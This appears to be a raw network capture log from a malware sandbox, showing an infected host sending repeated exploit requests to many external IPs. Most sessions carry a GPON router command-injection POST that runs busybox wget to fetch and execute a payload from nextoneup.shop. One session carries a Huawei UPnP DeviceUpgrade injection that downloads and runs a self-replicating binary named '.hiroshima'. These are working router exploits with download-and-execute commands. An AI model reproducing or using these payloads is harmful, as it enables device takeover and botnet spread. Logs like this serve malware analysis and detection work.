Apr 14, 2024 04:00:09.257534981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.23	55314	2.59.222.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257576942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.23	52058	79.131.145.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257632017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.23	47140	148.93.16.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257641077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.23	45884	94.48.227.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257685900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.23	55448	5.132.89.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257709026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.23	34426	79.221.133.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257765055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.23	39532	109.134.165.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257797956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.23	45150	2.16.230.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257854939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.23	42520	42.228.16.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257885933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.23	53302	94.242.230.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257955074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.23	43642	79.224.195.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.257955074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.23	37020	118.198.100.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258008957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.23	49472	42.56.228.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258030891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.23	58382	118.141.95.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258115053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.23	59772	202.16.241.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258133888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.23	38516	210.115.39.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258155107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.23	55678	210.103.74.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258214951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.23	57308	148.251.31.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258256912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.23	50576	94.55.213.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258322954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.23	59096	2.213.209.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.258337021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.23	54394	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.329236031 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.23	52170	156.77.130.173	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:09.973198891 CEST	858	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.23	54484	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.042089939 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.23	54490	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
